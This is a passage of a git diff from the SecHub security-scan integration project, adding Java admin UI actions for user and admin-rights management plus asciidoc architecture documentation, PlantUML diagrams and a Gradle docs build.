AbstractUIAction { + private static final long serialVersionUID = 1L; + + public AnonymousSigninNewUserAction(UIContext context) { + super("Create new user signin",context); + } + + @Override + public void execute(ActionEvent e) { + Optional name = getUserInput("Give name of new user",InputCacheIdentifier.USERNAME); + if (! name.isPresent()) { + return; + } + + Optionalemail = getUserInput("Give Email of new user",InputCacheIdentifier.EMAILADRESS); + if (!email.isPresent()) { + return; + } + + String data = getContext().getAdministration().createNewUserSignup(name.get(),email.get()); + output(data); + } + +} \ No newline at end of file diff --git a/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/user/ListSignupsAction.java b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/user/ListSignupsAction.java new file mode 100644 index 0000000000..bac1b2c9bc --- /dev/null +++ b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/user/ListSignupsAction.java @@ -0,0 +1,22 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.developertools.admin.ui.action.user; + +import java.awt.event.ActionEvent; + +import com.daimler.sechub.developertools.admin.ui.UIContext; +import com.daimler.sechub.developertools.admin.ui.action.AbstractUIAction; + +public class ListSignupsAction extends AbstractUIAction { + private static final long serialVersionUID = 1L; + + public ListSignupsAction(UIContext context) { + super("List waiting user signups",context); + } + + @Override + public void execute(ActionEvent e) { + String data = getContext().getAdministration().fetchSignups(); + output(data); + } + +} \ No newline at end of file diff --git a/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/user/ShowAdminListAction.java b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/user/ShowAdminListAction.java new file mode 100644 index 0000000000..ec72d2e2f0 --- /dev/null +++ b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/user/ShowAdminListAction.java @@ -0,0 +1,22 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.developertools.admin.ui.action.user; + +import java.awt.event.ActionEvent; + +import com.daimler.sechub.developertools.admin.ui.UIContext; +import com.daimler.sechub.developertools.admin.ui.action.AbstractUIAction; + +public class ShowAdminListAction extends AbstractUIAction { + private static final long serialVersionUID = 1L; + + public ShowAdminListAction(UIContext context) { + super("Show admin list",context); + } + + @Override + public void execute(ActionEvent e) { + String data = getContext().getAdministration().fetchAdminList(); + output(data); + } + +} \ No newline at end of file diff --git a/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/user/ShowUserDetailAction.java b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/user/ShowUserDetailAction.java new file mode 100644 index 0000000000..7d7a6feec7 --- /dev/null +++ b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/user/ShowUserDetailAction.java @@ -0,0 +1,29 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.developertools.admin.ui.action.user; + +import java.awt.event.ActionEvent; +import java.util.Optional; + +import com.daimler.sechub.developertools.admin.ui.UIContext; +import com.daimler.sechub.developertools.admin.ui.action.AbstractUIAction; +import com.daimler.sechub.developertools.admin.ui.cache.InputCacheIdentifier; + +public class ShowUserDetailAction extends AbstractUIAction { + private static final long serialVersionUID = 1L; + + public ShowUserDetailAction(UIContext context) { + super("Show user detail",context); + } + + @Override + public void execute(ActionEvent e) { + Optional userId = getUserInput("Please enter user id", InputCacheIdentifier.USERNAME); + if (! userId.isPresent()) { + return; + } + + String data = getContext().getAdministration().fetchUserInfo(userId.get()); + output(data); + } + +} \ No newline at end of file diff --git a/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/user/ShowUserListAction.java b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/user/ShowUserListAction.java new file mode 100644 index 0000000000..717f28366b --- /dev/null +++ b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/user/ShowUserListAction.java @@ -0,0 +1,22 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.developertools.admin.ui.action.user; + +import java.awt.event.ActionEvent; + +import com.daimler.sechub.developertools.admin.ui.UIContext; +import com.daimler.sechub.developertools.admin.ui.action.AbstractUIAction; + +public class ShowUserListAction extends AbstractUIAction { + private static final long serialVersionUID = 1L; + + public ShowUserListAction(UIContext context) { + super("Show user list",context); + } + + @Override + public void execute(ActionEvent e) { + String data = getContext().getAdministration().fetchUserList(); + output(data); + } + +} \ No newline at end of file diff --git a/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/user/priviledges/GrantAdminRightsToUserAction.java b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/user/priviledges/GrantAdminRightsToUserAction.java new file mode 100644 index 0000000000..a4e1dd75bc --- /dev/null +++ b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/user/priviledges/GrantAdminRightsToUserAction.java @@ -0,0 +1,28 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.developertools.admin.ui.action.user.priviledges; + +import java.awt.event.ActionEvent; +import java.util.Optional; + +import com.daimler.sechub.developertools.admin.ui.UIContext; +import com.daimler.sechub.developertools.admin.ui.action.AbstractUIAction; +import com.daimler.sechub.developertools.admin.ui.cache.InputCacheIdentifier; + +public class GrantAdminRightsToUserAction extends AbstractUIAction { + private static final long serialVersionUID = 1L; + + public GrantAdminRightsToUserAction(UIContext context) { + super("Grant admin rights to user",context); + } + + @Override + public void execute(ActionEvent e) { + Optional userToSignup = getUserInput("Please enter userid who will gain admin rights",InputCacheIdentifier.USERNAME); + if (!userToSignup.isPresent()) { + return; + } + String data = getContext().getAdministration().gGrantAdminRightsTo(userToSignup.get()); + output(data); + } + +} \ No newline at end of file diff --git a/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/user/priviledges/RevokeAdminRightsFromAdminAction.java b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/user/priviledges/RevokeAdminRightsFromAdminAction.java new file mode 100644 index 0000000000..bcdc139748 --- /dev/null +++ b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/user/priviledges/RevokeAdminRightsFromAdminAction.java @@ -0,0 +1,28 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.developertools.admin.ui.action.user.priviledges; + +import java.awt.event.ActionEvent; +import java.util.Optional; + +import com.daimler.sechub.developertools.admin.ui.UIContext; +import com.daimler.sechub.developertools.admin.ui.action.AbstractUIAction; +import com.daimler.sechub.developertools.admin.ui.cache.InputCacheIdentifier; + +public class RevokeAdminRightsFromAdminAction extends AbstractUIAction { + private static final long serialVersionUID = 1L; + + public RevokeAdminRightsFromAdminAction(UIContext context) { + super("Revoke admin rights from admin",context); + } + + @Override + public void execute(ActionEvent e) { + Optional userToSignup = getUserInput("Please enter userid who will have no longer admin rights",InputCacheIdentifier.USERNAME); + if (!userToSignup.isPresent()) { + return; + } + String data = getContext().getAdministration().revokeAddminRightsFrom(userToSignup.get()); + output(data); + } + +} \ No newline at end of file diff --git a/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/cache/InputCache.java b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/cache/InputCache.java new file mode 100644 index 0000000000..b74cd6e387 --- /dev/null +++ b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/cache/InputCache.java @@ -0,0 +1,21 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.developertools.admin.ui.cache; + +import java.util.EnumMap; +import java.util.Map; + +public class InputCache { + + private Map cache = new EnumMap<>(InputCacheIdentifier.class); + + public String get(InputCacheIdentifier identifier) { + if (identifier==null) { + return ""; + } + return cache.get(identifier); + } + + public void set(InputCacheIdentifier identifier, String value) { + cache.put(identifier,value); + } +} diff --git a/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/cache/InputCacheIdentifier.java b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/cache/InputCacheIdentifier.java new file mode 100644 index 0000000000..d04cc19bff --- /dev/null +++ b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/cache/InputCacheIdentifier.java @@ -0,0 +1,14 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.developertools.admin.ui.cache; + +public enum InputCacheIdentifier{ + PROJECT_ID, + + USERNAME, + + EMAILADRESS, + + WHITELIST_URI, + + JOB_UUID +} \ No newline at end of file diff --git a/sechub-doc/README.md b/sechub-doc/README.md new file mode 100644 index 0000000000..404cbcc1f2 --- /dev/null +++ b/sechub-doc/README.md @@ -0,0 +1,47 @@ + +# About this project + +sechub-doc contains all documentation about the sechub: + +- user handbook +- architecture +- techdoc +- operations + +All is done with `asciidoc` except those little tech info files as this one, which are done in `markdown` because bit bucket is not +able to render asciidoc files... + +## Documentation content +More information can be found inside the documents. +Please refer to + +- /sechub-doc/src/docs/asciidoc/sechub-architecture.adoc +- /sechub-doc/src/docs/asciidoc/sechub-operations.adoc +- /sechub-doc/src/docs/asciidoc/sechub-techdoc.adoc +- /sechub-doc/src/docs/asciidoc/sechub-user.adoc + +Some document parts are complete generated , e.g. + +- messaging diagrams (generated plantuml files) +- system property descriptions +- schedule descriptions +- use case documentation + +More details about generation can be found inside `sechub-techdoc` document. There is a special documentation chapter inside. + +## Create documentation output files and generated content +When you want to create the documentation files and also the generated content, just enter at repository root folder: +`gradlew documentation` + +after the build you find the output files at +`sechub-doc/build/asciidoc/` +There will be HTML and also PDF output there. + +On build server you will find the documents also for each build so a local generation is normally not necessary - +and because its asciidoc the files can read directly as well. + + +## Tool support for documentation +For Eclipse and IDEA you can find plugins for showing/editing `asciidoc`. + +For eclipse: https://marketplace.eclipse.org/content/asciidoctor-editor \ No newline at end of file diff --git a/sechub-doc/build.gradle b/sechub-doc/build.gradle new file mode 100644 index 0000000000..2cbc31cd40 --- /dev/null +++ b/sechub-doc/build.gradle @@ -0,0 +1,125 @@ +// SPDX-License-Identifier: MIT +apply plugin: 'org.asciidoctor.convert' + +dependencies { + compile 'org.reflections:reflections:0.9.11' + compile project(':sechub-server') // we want to expect server and all dependencies for documentation + testCompile project(':sechub-shared-kernel-testframework') + + /* next parts are necessary for rest doc generation in conjunction + with reflection annoation scanning done wiht @UsecaseRestDoc + the tests with restdoc are settled inside sechub-doc to have + abbility to get inside gradle access to tests (each gradle project + has normally only access to its own test classes... )*/ + testCompile project(':sechub-testframework') + testCompile(library.springframework_restdocs) + testCompile(library.springframework_security_test) +} + +task generateAsciidoc(type: JavaExec, dependsOn: 'test') { + main = 'com.daimler.sechub.docgen.AsciidocGenerator' + args = ["${project.projectDir}/src/docs/asciidoc/documents/gen"] + group = 'sechub' + description = 'Starts asciidoc generator. Will generate planuml files and more' + classpath = sourceSets.test.runtimeClasspath +} + +asciidoctorj { + // we do not want to have jcenter() added per default! + // see http://asciidoctor.org/docs/asciidoctor-gradle-plugin/ + noDefaultRepositories = true + + version = '1.5.6' + +} + +asciidoctor.doFirst { + // pre-process + copy { + /* Why do we do this here ? Because PDF converter does read the images + * before the standard copy part from the gradle plugin for asciidoctor is done + * so generated images - e.g. plantuml are not available at pdf render time + * so this is ugly but necessary. We use target images folder because the images + * dir is referenced by the html5 output directly - so it works at html5 and pdf + * (unfortunately html has absolute pathes... so after asciidoc generation we need a fix + * on location where html output must use relative pathes - e.g. website project ...) + */ + + from file('src/docs/asciidoc/images') + into file("$buildDir/asciidoc/images") + include '*.*' + } + + copy { + from file('src/docs/asciidoc/diagrams') + into file("$buildDir/asciidoc/diagrams") + include '*.*' + } +} + +asciidoctor { + + separateOutputDirs = false + + backends "html5", "pdf" + attributes 'build-gradle': file('build.gradle'), + 'source-highlighter': 'coderay', + 'toc': 'left', + 'toclevels': '5', + 'icons': 'font', + 'setanchors': 'true', + 'idprefix': '', + 'idseparator': '-', + 'docinfo1': 'true', + 'sectnums': 'true', + 'sectnumlevels': '5', + 'version': rootProject.version + + requires = ['asciidoctor-diagram'] + + /* has to be defined inside this build script again, because + asciidoctor pdf seems to have an problem with relational path + definitions...*/ + + attributes \ + 'sourcedir': file('src/docs'), + 'imagesdir': "$buildDir/asciidoc/images" + + sources { + include 'sechub-techdoc.adoc', + 'sechub-architecture.adoc', + 'sechub-client.adoc', + 'sechub-restapi.adoc' + } + + // workaround to enable missing includes checking. See https://github.com/asciidoctor/asciidoctor-gradle-plugin/issues/154 + ext.capturedOutput = [ ] + def listener = { ext.capturedOutput << it } as StandardOutputListener + + logging.addStandardErrorListener(listener) + logging.addStandardOutputListener(listener) + + doLast { + logging.removeStandardOutputListener(listener) + logging.removeStandardErrorListener(listener) + ext.capturedOutput.join('').with { output -> + if (output =~ /include file not found:/) { + throw new RuntimeException("Include file(s) not found, see next lines for details:\n" + output) + } + } + } + + +} + +/* collector task for all documentation parts */ +task documentation(){ + group 'sechub' + description 'This will generate and build asciidoctor documentation and creates also website html pages having correct relative path ' + + dependsOn 'generateAsciidoc' + dependsOn 'asciidoctor' + + // see https://stackoverflow.com/questions/32907275/gradle-custom-task-which-runs-multiple-tasks + tasks.findByName('asciidoctor').mustRunAfter 'generateAsciidoc' +} diff --git a/sechub-doc/src/docs/asciidoc/diagrams/diagram_business_context_overview.plantuml b/sechub-doc/src/docs/asciidoc/diagrams/diagram_business_context_overview.plantuml new file mode 100644 index 0000000000..554634f24c --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/diagrams/diagram_business_context_overview.plantuml @@ -0,0 +1,55 @@ +// SPDX-License-Identifier: MIT +@startuml +'left to right direction +frame external{ + frame "User" { + [SecHub Client] as Client + Developer --> Client + BuildTool --> Client + } + + frame "Project" { + [Target Website] as website + [Target Code] as code + [Target Infrastructure] as infra + + Owner -- website + Owner -- code + Owner -- infra + } + +} + +frame "SecHub infrastructure" as internal{ + + frame "SecHub backend " as backend{ + [SecHub Server(s)] as Server + + } + + frame "3rd party software" as products{ + [Infrastructure scanner] as infrascan + [Code scanner] as codescan + [Web scanner] as webscan + [...] as more + } + + frame "Administration" { + [SecHub Admin UI] as AdminUI + Admin --> AdminUI + } +} + +Client --> Server +AdminUI --> Server + +backend => products + + +' just for layouting: using hidden field +' see https://mrhaki.blogspot.com/2017/10/plantuml-pleasantness-layout-elements.html +Client -[hidden]- Owner +backend -[hidden]- products + + +@enduml \ No newline at end of file diff --git a/sechub-doc/src/docs/asciidoc/diagrams/diagram_sechub_server.plantuml b/sechub-doc/src/docs/asciidoc/diagrams/diagram_sechub_server.plantuml new file mode 100644 index 0000000000..626eb619e7 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/diagrams/diagram_sechub_server.plantuml @@ -0,0 +1,62 @@ +// SPDX-License-Identifier: MIT +@startuml + +package "Sechub CLI client" { + [CLI] as cli +} + +cloud "Kubernetes cluster"{ + + package "Sechub Server POD (1..n)" { + [Schedule] as job_engine + [Source Upload] as source_upload + [Scan] as scan_engine + [Report] as report_service + + + node "SeReCo" as sereco { + } + + } + package "Database POD (1)" { + database "Postgres" as db { + } + } + + package "Shared Volumes"{ + storage "NFS" + } + + +} + +cloud "Hosted 3rdParty security products" { + [Security Product] as product1 + [...] as moreProducts + [Security Product] as productn +} + +HTTPS -> job_engine +HTTPS -> report_service + +job_engine -> source_upload + +NFS <- source_upload +scan_engine -> NFS +job_engine -> scan_engine + + + + +cli --> HTTPS +scan_engine --> product1 +scan_engine --> productn +report_service --> sereco +sereco --> db +scan_engine --> db + +' layout +job_engine -[hidden]--> sereco +job_engine -[hidden]--> source_upload + +@enduml \ No newline at end of file diff --git a/sechub-doc/src/docs/asciidoc/diagrams/diagram_target_architecture.plantuml b/sechub-doc/src/docs/asciidoc/diagrams/diagram_target_architecture.plantuml new file mode 100644 index 0000000000..3fed446bb4 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/diagrams/diagram_target_architecture.plantuml @@ -0,0 +1,61 @@ +// SPDX-License-Identifier: MIT +@startuml + +abstract class AbstractInstallSetupProductExecutor{ + # I getInstallSetup() +} +interface ProductExecutor +interface InstallSetup{ + + boolean isAbleToScan(TargetType targetType) +} +interface TargetResolver +class TargetRegistry +class SecHubWebScanConfiguration +class SecHubInfrastuctureScanConfiguration + +class Target{ + + getURI() + + getIP() + + TargetType getType() +} +class TargetData{ + + TargetType getTargetType() + + Set getTargetURIs() + + Set getTargetIPs() +} +enum TargetType { + INTERNET + DAIMLER_INTRANET + UNKNOWN +} + +ProductExecutor <|-- AbstractInstallSetupProductExecutor +AbstractInstallSetupProductExecutor o-- TargetResolver : uses +AbstractInstallSetupProductExecutor o-- AbstractAdapterConfigBuilder: uses +AbstractInstallSetupProductExecutor o-- Adapter: calls the adapter with created config +AbstractInstallSetupProductExecutor "1" - "1" InstallSetup : implemenation will \nhave this injected +AbstractInstallSetupProductExecutor --> InstallSetup : reads +AbstractInstallSetupProductExecutor *-- TargetRegistry: creates and uses + +TargetRegistry "1" *-- "n" Target : contains +TargetRegistry --> TargetData : provides +TargetResolver "creates" --> Target +Target *-- TargetType +Target "1" *-- "0..1" URI +Target "1" *-- "0..1" InetAdress +AbstractInstallSetupProductExecutor --> SecHubConfiguration : reads + +SecHubConfiguration *-- SecHubWebScanConfiguration +SecHubConfiguration *-- SecHubInfrastuctureScanConfiguration +SecHubConfiguration *-- SecHubCodeScanConfiguration + +SecHubWebScanConfiguration "1" *-- "n" URI +SecHubInfrastuctureScanConfiguration "1" *-- "n" URI +SecHubInfrastuctureScanConfiguration "1" *-- "n" InetAdress + +note top of TargetResolver: Resolves information on given IP or URI.\nDetermines also the TargetType.\nSo dedicated installation setup can be used +note bottom of TargetData: Contains information for a \ndedicated TargetType which\ncan be used to call the adapter + +note top of AbstractInstallSetupProductExecutor: This abstract implementation is able to automatically call\nadapter for multiple targets with correct setup data.\n\nE.g.a netsparker product executor uses its injected\nNetsparkerInstallationSetup and differs Intranet and \nIntranet by different agentgroups +note top of InstallSetup : The install setup contains the information about \nservers, usernames, passwords etc. for the\ncalling of the adaper +@enduml \ No newline at end of file diff --git a/sechub-doc/src/docs/asciidoc/diagrams/diagram_technical_context_overview.plantuml b/sechub-doc/src/docs/asciidoc/diagrams/diagram_technical_context_overview.plantuml new file mode 100644 index 0000000000..d583960b9d --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/diagrams/diagram_technical_context_overview.plantuml @@ -0,0 +1,33 @@ +// SPDX-License-Identifier: MIT +@startuml +' syntax, see http://plantuml.com/sequence-diagram +title Technical overview as sequence diagram + +Developer -> BuildTool +Developer -> Client +BuildTool -> Client +Client <-> RestAPI : communication + +note over Client + sends job request, + uploads sources, + receives job status, .. +end note + +RestAPI <-> Scheduler +Scheduler <-> "Batch job" +"Batch job" <-> "Product Executors" +"Product Executors" <-> "Product Adapter" +"Product Adapter" <-> "3rd party product" +"Product Adapter" <-> "Sereco" +note over "3rd party product" + Any security product, + - static code analyser + - web scanner + - infrastructure scanners + - ... +end note +note over "Sereco" + SecHub report collector +end note +@enduml \ No newline at end of file diff --git a/sechub-doc/src/docs/asciidoc/documents/.gitignore b/sechub-doc/src/docs/asciidoc/documents/.gitignore new file mode 100644 index 0000000000..d1d90ad449 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/.gitignore @@ -0,0 +1 @@ +!gen diff --git a/sechub-doc/src/docs/asciidoc/documents/architecture/01_introduction_and_goals.adoc b/sechub-doc/src/docs/asciidoc/documents/architecture/01_introduction_and_goals.adoc new file mode 100644 index 0000000000..fad920eaa1 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/architecture/01_introduction_and_goals.adoc @@ -0,0 +1,77 @@ +// SPDX-License-Identifier: MIT +[[section-introduction-and-goals]] +== Introduction and Goals +=== About +Describes the relevant requirements and the driving forces that software architects and development team must consider. These include + + - underlying business goals, essential features and functional requirements for the system, + - quality goals for the architecture, + - relevant stakeholders and their expectations + + +=== What is SecHub? +SecHub is an easy to use security scan integration for developers to provide security tooling +as a *SecDevOps* service. It can be used by build servers and other tools. + +[TIP] +==== +Independent from security products: + +The `user` - for example a developer who uses SecHub for build integration - has no +intention which security product is being used to determine security leaks. + +So security products used by {sechub} server instance(s) can change on time but usage and configuration +of {sechub} will not change at all! + +==== + +=== Requirements Overview + +==== Non functional requirements +===== Scalable +SecHub server must be able to scale vertically and horizontally. + +TIP: SecHub itself is build to be ready for usage inside `Kubernetes` clusters, so main bottle neck will normally + not be {sechub} but maybe used security products. + +===== High available +SecHub server must be able to handle new job requests at any time so at least jobs must must be accepted and added to queue. + + +===== Resilient +- Security product connection failure + + One failing security product shall not lead in a non working SecHub "state" but produce a dedicated entry in scan results! +- The system shall be still working on errors + +===== Stable +- API and configuration syntax are stable and do NOT change in a breaking way + +===== Acceptable +SecHub shall be accepted by developers. So it must be easy to use, to embed and also ... just work! + +==== Functional requirements +- One single and easy to use API / client to secure +- Easy to integrate new security products + +More and also more detailed functional requirements can be found in issue tracker system + +=== Quality Goals +- Documentation shall be always up-to-date +- ... TBD + +=== Stakeholders + +[options="header",cols="1,2,2"] +|=== +|Role/Name |Contact |Expectations +//------------------------------------------------------------------------------------------------------------------------------------------- +| Product Owner | {websiteURL} | +| User | | A person who wants to execute scans by {sechub}. + + *Will expect:* easy to use, "It works", not too much false positives +| Administrator | | A person who installs {sechub} server and does maintenance of + target security products. Also responsible for onboarding of + projects and users. + + *Will expect:* simple installation, easy to configure, reliable, easy to maintain +| External Systems | | Another system which will call the REST API or the SecHub client. E.g. Build Servers like Jenkins. + + *Will expect:* Always available +|=== diff --git a/sechub-doc/src/docs/asciidoc/documents/architecture/02_architecture_constraints.adoc b/sechub-doc/src/docs/asciidoc/documents/architecture/02_architecture_constraints.adoc new file mode 100644 index 0000000000..500c286ef2 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/architecture/02_architecture_constraints.adoc @@ -0,0 +1,50 @@ +// SPDX-License-Identifier: MIT +[[section-architecture-constraints]] +== Architecture Constraints +=== About +// see https://docs.arc42.org/section-2/ + +==== Content +Any requirement that constrains software architects in their freedom of design and implementation +decisions or decision about the development process. These constraints sometimes go beyond individual +systems and are valid for whole organizations and companies. + +==== Motivation +Architects should know exactly where they are free in their design decisions and where they must adhere to constraints. +Constraints must always be dealt with; they may be negotiable, though. + +==== Form +Simple tables of constraints with explanations. If needed you can subdivide them into technical constraints, +organizational and political constraints and conventions (e.g. programming or versioning guidelines, documentation or naming conventions) + + +[[section-architecture-constraints-domain-communication]] +=== Domain communication + +Direct communication between different domains may not appear - to avoid the "big ball of mud", even when we have +no real micro-service landscape at the moment and {sechub} is a self-contained-system. + +For more information please refer to <> + +==== DB constraints +As long as there is no really need there will be only *ONE database* instance across the SecHub system!!!!! + +Even when the spring boot application is a single one and shares a database *every domain* has only access to *dedicated tables* and +does not share its tables across other domains! This includes relation ships between tables as well. + +This is to prevent the database becoming part of a "hidden shared kernel" /"central bottleneck". If we decide to +transform `sechub-server` from self-contained-system into single separate deployment units we can achieve this without too +much effort/impact. + +// TODO de-jcup: create a generator for the tables already used in domains... +[options="header",cols="1,2,2"] +|=== +|Domain|Table|Description +| SCHEDULE | SCHEDULE_SECHUBJOB| Represents a SecHub Job instance +| SCHEDULE | BATCH_xxx | *Exception*: done by spring batch framework. Those batch operations shall only be accessed by schedule domain +| SCAN | SCAN_RESULT | Contains the collected scan result from all scan product. Shall represent entity ScanResult +| SCAN | SCAN_DATA | Does contain (intermediate) information from job scans etc. +| ... | ... | ... +|=== + +For more information please refer to <> diff --git a/sechub-doc/src/docs/asciidoc/documents/architecture/03_system_scope_and_context.adoc b/sechub-doc/src/docs/asciidoc/documents/architecture/03_system_scope_and_context.adoc new file mode 100644 index 0000000000..91b8e4d935 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/architecture/03_system_scope_and_context.adoc @@ -0,0 +1,51 @@ +// SPDX-License-Identifier: MIT +[[section-system-scope-and-context]] +== System Scope and Context +=== About +// for details see https://docs.arc42.org/section-3/ +==== Content + +System scope and context - as the name suggests - delimits your system (i.e. your scope) +from all its communication partners (neighboring systems and users, i.e. the context of +your system). It thereby specifies the external interfaces. + +If necessary, differentiate the business context (domain specific inputs and outputs) +from the technical context (channels, protocols, hardware). + +==== Motivation +The domain interfaces and technical interfaces to communication partners +are among your system’s most critical aspects. Make sure that you completely understand them. + +=== Business Context + +==== Overview +plantuml::diagrams/diagram_business_context_overview.plantuml[format=svg, title="Overview business context"] + +=== Technical Context +plantuml::diagrams/diagram_technical_context_overview.plantuml[format=svg, title="Overview business context"] + +==== Web scanner +A scanner used for automated penetration testing on given sites + +We support currently: + +- Netsparker + +==== Code scanner +A scanner used for automated static code analysis + +We support currently: + +- Checkmarx + +==== Infrastructure scanner +A scanner used for automated penetration testing on given infrastructure + +We support currently: + +- Nessus + +WARNING: We got the problem that Nessus has terminated their REST API and only supports a REST API when ordering + another product. So currently it's difficulat to support NESSUS directly. + + diff --git a/sechub-doc/src/docs/asciidoc/documents/architecture/04_solution_strategy.adoc b/sechub-doc/src/docs/asciidoc/documents/architecture/04_solution_strategy.adoc new file mode 100644 index 0000000000..62ef1cbdb8 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/architecture/04_solution_strategy.adoc @@ -0,0 +1,83 @@ +// SPDX-License-Identifier: MIT +[[section-solution-strategy]] +== Solution Strategy +=== About +// see for details: https://docs.arc42.org/section-4/ + +==== Contents +A short summary and explanation of the fundamental decisions and solution strategies, that shape the system’s architecture. These include + + - technology decisions + - decisions about the top-level decomposition of the system, e.g. usage of an architectural pattern or design pattern + - decisions on how to achieve key quality goals + - relevant organizational decisions, e.g. selecting a development process or delegating certain tasks to third parties. + +==== Motivation +These decisions form the cornerstones for your architecture. They are the basis for many other detailed decisions or implementation rules. + +==== Form + +Keep the explanation of these key decisions *short*. + +Motivate what you have decided and why you decided that way, +based upon your problem statement, the quality goals and key constraints. + +==== Solutions +[options="header",cols="2,2,2,2"] +|=== +|Quality Goal |Scenario |Solution approach | Link to details +//------------------------------------------------------------------------------------------------------------------------------------------- +| Server development shall be easy to maintain and developers shall have experience with the language and frameworks + | All | Spring Boot, Java | +| Users shall have a convenient and simple way to start scans + | All | We provide not only a REST API but provide a convenient CLI client which just needs a JSON config file | +| Client shall be small, fast and usable on many platforms without much effort to install + | All | Go client | +| Developers shall be able to test and develop server parts without an existing infrastructure (means no security products installed etc) + | Development | Mock profile and also Mocked Adapters for every supported product + | +| Developers shall be able to write adapters without starting server + | Development | Adapters are "dumb" and can be started as simple java application. + | +| For corporate continous-integration scans we need a scalable solution which can be clustered + | Cluster installation | With SpringBoot and DDD we ensure we can run server components inside Kubernetes + | +| People or smaller companies shall be able to install {sechub} without Kubernetes + | Single installation | Server software will be always startable as a simple jar as well (done by Spring Boot Jar) + | +| Developers shall be able to start {sechub} without Kubernetes + | Development | Server software will be always startable as a simple jar as well (done by Spring Boot Jar) + | +| {sechub} sserver integration tests shall be possible without available products, PostgreSQL or Kubernetes + | Development | Server software will be always startable as a simple jar as well (done by Spring Boot Jar), we provide + also different profiles for normal database and in memory db (h2,postgres), we provide a profile for mocked products + | +| We need a reliable database which is mature, stable and good documented + | Cluster installation, Single installation, Development + | We will provide postgres + | +| We must avoid "big ball of mud" in development and also be able to separate server parts to smaller deployments easily in future (when needed) + | Development + | Domain driven design is choosen to support this. On the other side we do not want to have + a large event bus system (e.g. `KAFKA`), because not really necessary at the beginning (and maybe never). + + + + So as a `KISS` approach we provide a self contained system but in conjunction with a very simple + DDD implementation: + + We create and use a wrapper API for events, start with implementation by simple Observer pattern inside + same JVM, so can be replaced later by something else (e.g. a KAFKA implementation). Direct communication + between different domains is forbidden, only events are allowed. This is tested by automated tests. + | see `DomainMessageService.java` +| We want to have many integration tests which are easy to read, maintain, make fun to write, + have reduced test code and using server nearly as done in production. + + + + It shall be possible to execute the integration tests to + mocked or even to real products. Changes in server structure or even in code, shall does not enforce changes to tests, but only to test framework implementation. + |Development | We implement a specialized integration-test framework which provides + a DSL like, fluent API which is able to test again a running test server instance. We implement + spring profiles for `real-products` and `mocked-products` and a `integration-test` profile as well on server side. + | +| We want to have an agile, living documentation, which is matching to source code and a diff can be easily done by GIT + | Development | We use AsciiDoc and checkin documenteation together inside one GIT repository + | see https://asciidoctor.org/docs/asciidoc-syntax-quick-reference/ + +|=== \ No newline at end of file diff --git a/sechub-doc/src/docs/asciidoc/documents/architecture/05_building_block_view.adoc b/sechub-doc/src/docs/asciidoc/documents/architecture/05_building_block_view.adoc new file mode 100644 index 0000000000..2b2b74a2c0 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/architecture/05_building_block_view.adoc @@ -0,0 +1,35 @@ +// SPDX-License-Identifier: MIT +[[section-building-block-view]] +== About +// see https://docs.arc42.org/section-5/ +=== Content +The building block view shows the static decomposition of the system into building blocks +(modules, components, subsystems, classes, interfaces, packages, libraries, frameworks, layers, +partitions, tiers, functions, macros, operations, datas structures, …) +as well as their dependencies (relationships, associations, …) + +This view is mandatory for every architecture documentation. In analogy to a +house this is the floor plan. + +=== Motivation +Maintain an overview of your source code by making its structure understandable through abstraction. + +This allows you to communicate with your stakeholder on an abstract level without disclosing implementation details. + +=== Form +The building block view is a hierarchial collection of black boxes and white boxes and their descriptions. + + + +== Building Block View + + + +=== SecHub Overall System + +_**Overview Diagram**_ + +plantuml::diagrams/diagram_sechub_server.plantuml[format=svg, title="Overview sechub overall"] + + + diff --git a/sechub-doc/src/docs/asciidoc/documents/architecture/06_runtime_view.adoc b/sechub-doc/src/docs/asciidoc/documents/architecture/06_runtime_view.adoc new file mode 100644 index 0000000000..ce429c3ff9 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/architecture/06_runtime_view.adoc @@ -0,0 +1,107 @@ +// SPDX-License-Identifier: MIT +[[section-runtime-view]] +== Runtime View + +=== About +// see 